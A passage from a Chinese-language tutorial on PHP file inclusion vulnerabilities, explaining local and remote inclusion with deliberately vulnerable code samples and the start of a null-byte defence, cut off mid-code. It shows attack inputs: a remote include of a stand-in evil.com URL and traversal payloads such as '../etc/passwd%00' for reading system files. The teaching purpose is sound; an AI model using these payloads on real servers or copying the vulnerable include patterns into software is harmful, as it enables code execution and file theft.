1. 文件包含的基本概念
严格来说,文件包含漏洞是"代码注入"的一种。"代码注入"这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。
"代码注入"的典型代码就是文件包含(File Inclusion),我的理解是叫"外部数据流包含",至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。
文件包含可能会出现在JSP,PHP,ASP等语言中。
PHP: include(), include_once, require(), require_once(), fopen(), readfile() JSP/Servlet: ava.io.File(), Java.io.FileReader() ASP: include file, include virtual
在PHP中,当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。所以如果被包含的是txt、图片、远程URL。也都会被当作PHP代码执行(图片型木马的原理也就在这里)。
要想成功利用文件包含漏洞,需要满足下面的条件
0x1:include()等函数通过动态变量的方式引入需要包含的文件
(攻击者可以本地变量任意覆盖的漏洞或者自定义前缀的漏洞来达到这个动态引入的漏洞利用)
example: <?php $file = $_GET['file']; @include_once("$file" . "/templete/tpl.html"); ?> 黑客可以采取: 1) %00、/0截断的方式使程序包含攻击者想要的文件 2) 攻击者输入一个remote url: http://www.evil.com/index.php? ,如果目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html"); 可以看到,根据HTTP参数的定义,"?"后面的内容被当作了传给这个脚本的参数,从而达到了00截断相同的效果
0x2:用户能够控制该动态变量
<?php $file = $_GET['file']; @include_once("$file"); ?> 这种情况的利用方式就更多了,接下来我会尽我所能,把我搜集到的资料分享给大家
Relevant Link:
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0 http://hi.baidu.com/txcbg/item/c9549af659b3de0dd99e725e http://cn2.php.net/manual/zh/wrappers.php http://www.wechall.net/
2. LFI(Local File Include)本地文件包含
在探讨本地文件包含的漏洞之前,我觉得有必要先一下本地文件包含的作用。在WEB开发中为什么要使用本地文件包含,它有什么作用。
一般来说,本地文件包含(即include)有以下几点作用
1) 将网站页面通用的page_header.php(常常显示banner信息等)、页面尾部page_footer.php(常常显示版权信息等)独立出来,这样在任何页面需要的时候就可以直接通过include方式引入进来,提高了代码的重用性,加快了开发速度 2) 将通用配置文件,例如数据库连接文件database.php单独封装出来,方便需要进行数据库连接的时候就可以直接通过include方式引入进来 3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件,这样就可以在整个WEB系统中进行统一的安全过滤处理,防止因为各个业务场景的代码逻辑不一致导致的漏洞 4) WEB系统中广泛采用的文件缓存、数据缓存都是通过include方式完成的
了解了LFI的应用场景之后,我们来学习一下LFI的成因、以及可能产生的安全问题
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion LFI)
下面是一段测试代码:
<?php // "../../etc/passwd " $file = $_GET['file']; if(file_exists('/home/wwwrun/' . $file . '.php')) { inlcude '/home/wwwrun/' . $file . '.php'; } ?>
这个方案看似很安全,程序员把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在几个问题
0x1:00字符截断
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
../etc/passwd0
通过web输入时,只需UrlEncode,变成:
../etc/passwd%00
字符串截断的技巧,也是文件包含中最常用的技巧
防御方法:
在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节
<?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if(is_string($value)) { $value = str_replace("